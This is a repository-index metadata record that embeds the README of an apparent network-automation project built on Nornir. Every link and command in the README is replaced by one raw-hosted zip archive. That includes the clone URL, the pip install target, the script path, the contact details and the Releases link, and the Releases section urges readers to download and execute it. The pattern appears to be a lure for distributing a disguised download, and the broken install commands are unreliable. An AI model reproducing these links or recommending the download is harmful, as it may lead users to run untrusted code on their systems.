{"id":27464758,"url":"https://github.com/yomalamoula/nornir-python-scripts","last_synced_at":"2026-04-10T23:03:06.959Z","repository":{"id":288016584,"uuid":"966531937","full_name":"yomalamoula/nornir-python-scripts","owner":"yomalamoula","description":"This project contains a collection of Python scripts and Nornir runbooks for network automation. The scripts cover a wide range of tasks, including LLDP mapping, OSPF error detection, banner filtering, CDP mapping, IP route checking, and more.","archived":false,"fork":false,"pushed_at":"2025-04-15T23:06:31.000Z","size":145,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-04-15T23:14:31.701Z","etag":null,"topics":["arista","automation","aws","jinja2","linux","napalm","netmiko","network","nornir","nornir-napalm","nornir-netmiko","nornir-scrapli","runbook","scrapli"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/yomalamoula.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-04-15T04:21:32.000Z","updated_at":"2025-04-15T23:06:34.000Z","dependencies_parsed_at":"2025-04-15T06:36:09.813Z","dependency_job_id":null,"html_url":"https://github.com/yomalamoula/nornir-python-scripts","commit_stats":null,"previous_names":["yomalamoula/nornir-python-scripts"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yomalamoula%2Fnornir-python-scripts","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yomalamoula%2Fnornir-python-scripts/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yomalamoula%2Fnornir-python-scripts/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yomalamoula%2Fnornir-python-scripts/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/yomalamoula","download_url":"https://codeload.github.com/yomalamoula/nornir-python-scripts/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249167457,"owners_count":21223508,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["arista","automation","aws","jinja2","linux","napalm","netmiko","network","nornir","nornir-napalm","nornir-netmiko","nornir-scrapli","runbook","scrapli"],"created_at":"2025-04-15T23:14:53.420Z","updated_at":"2026-04-10T23:03:06.950Z","avatar_url":"https://github.com/yomalamoula.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Nornir Python Scripts for Network Automation 🚀\n\n![GitHub](https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip)\n![Python](https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip)\n![Automation](https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip)\n\nWelcome to the **Nornir Python Scripts** repository! This project offers a collection of Python scripts and Nornir runbooks designed to streamline network automation tasks. Whether you are managing a small network or a large infrastructure, these scripts will help you automate repetitive tasks, improve efficiency, and reduce human error.\n\n## Table of Contents\n\n- [Overview](#overview)\n- [Features](#features)\n- [Installation](#installation)\n- [Usage](#usage)\n- [Scripts and Runbooks](#scripts-and-runbooks)\n- [Contributing](#contributing)\n- [License](#license)\n- [Contact](#contact)\n- [Releases](#releases)\n\n## Overview\n\nNornir is a powerful automation framework for network engineers. It provides a simple way to manage network devices using Python. This repository includes scripts that cover a variety of tasks essential for network management, including:\n\n- LLDP mapping\n- OSPF error detection\n- Banner filtering\n- CDP mapping\n- IP route checking\n- And more...\n\nThese scripts leverage popular libraries such as NAPALM, Netmiko, and Scrapli to ensure robust and reliable automation.\n\n## Features\n\n- **API Integration**: Easily integrate with network device APIs.\n- **Cross-Platform**: Works on Linux and other operating systems.\n- **Modular Design**: Each script is designed to be modular for easy use and modification.\n- **Extensive Documentation**: Each script includes comments and usage examples.\n- **Community Support**: Engage with other users and contributors for support and ideas.\n\n## Installation\n\nTo get started with the Nornir Python Scripts, follow these steps:\n\n1. **Clone the Repository**:\n   ```bash\n   git clone https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip\n   cd nornir-python-scripts\n   ```\n\n2. **Install Required Libraries**:\n   Use pip to install the necessary libraries:\n   ```bash\n   pip install -r https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip\n   ```\n\n3. **Configure Nornir**:\n   Update the `https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip` file with your network device details.\n\n## Usage\n\nTo run a specific script, navigate to the script's directory and execute it using Python. For example:\n```bash\npython https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip\n```\n\nMake sure you have the necessary permissions and configurations set up in your environment.\n\n## Scripts and Runbooks\n\n### LLDP Mapping\n\nThis script gathers LLDP information from devices and generates a visual representation of the network topology.\n\n### OSPF Error Detection\n\nDetects OSPF issues and provides detailed logs for troubleshooting.\n\n### Banner Filtering\n\nThis script filters device banners to ensure compliance with organizational standards.\n\n### CDP Mapping\n\nGenerates a detailed map of devices connected via CDP, showing their relationships.\n\n### IP Route Checking\n\nVerifies IP routes across devices and reports any discrepancies.\n\n## Contributing\n\nWe welcome contributions from the community! If you would like to contribute, please follow these steps:\n\n1. Fork the repository.\n2. Create a new branch (`git checkout -b feature/YourFeature`).\n3. Make your changes.\n4. Commit your changes (`git commit -m 'Add some feature'`).\n5. Push to the branch (`git push origin feature/YourFeature`).\n6. Open a Pull Request.\n\nPlease ensure that your code follows the existing style and includes comments where necessary.\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Contact\n\nFor questions or suggestions, feel free to reach out:\n\n- **Email**: https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip\n- **Twitter**: [@yourhandle](https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip)\n\n## Releases\n\nFor the latest updates and releases, please visit the [Releases](https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip) section. Here, you can download the latest scripts and runbooks, and execute them in your environment.\n\n## Conclusion\n\nThank you for checking out the Nornir Python Scripts repository. We hope these scripts help you automate your network tasks effectively. Your feedback and contributions are highly valued, so don’t hesitate to get involved! \n\nExplore, automate, and make your network management simpler. For more updates, check the [Releases](https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip) section frequently.\n\nHappy automating! 🌐","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyomalamoula%2Fnornir-python-scripts","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fyomalamoula%2Fnornir-python-scripts","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyomalamoula%2Fnornir-python-scripts/lists"}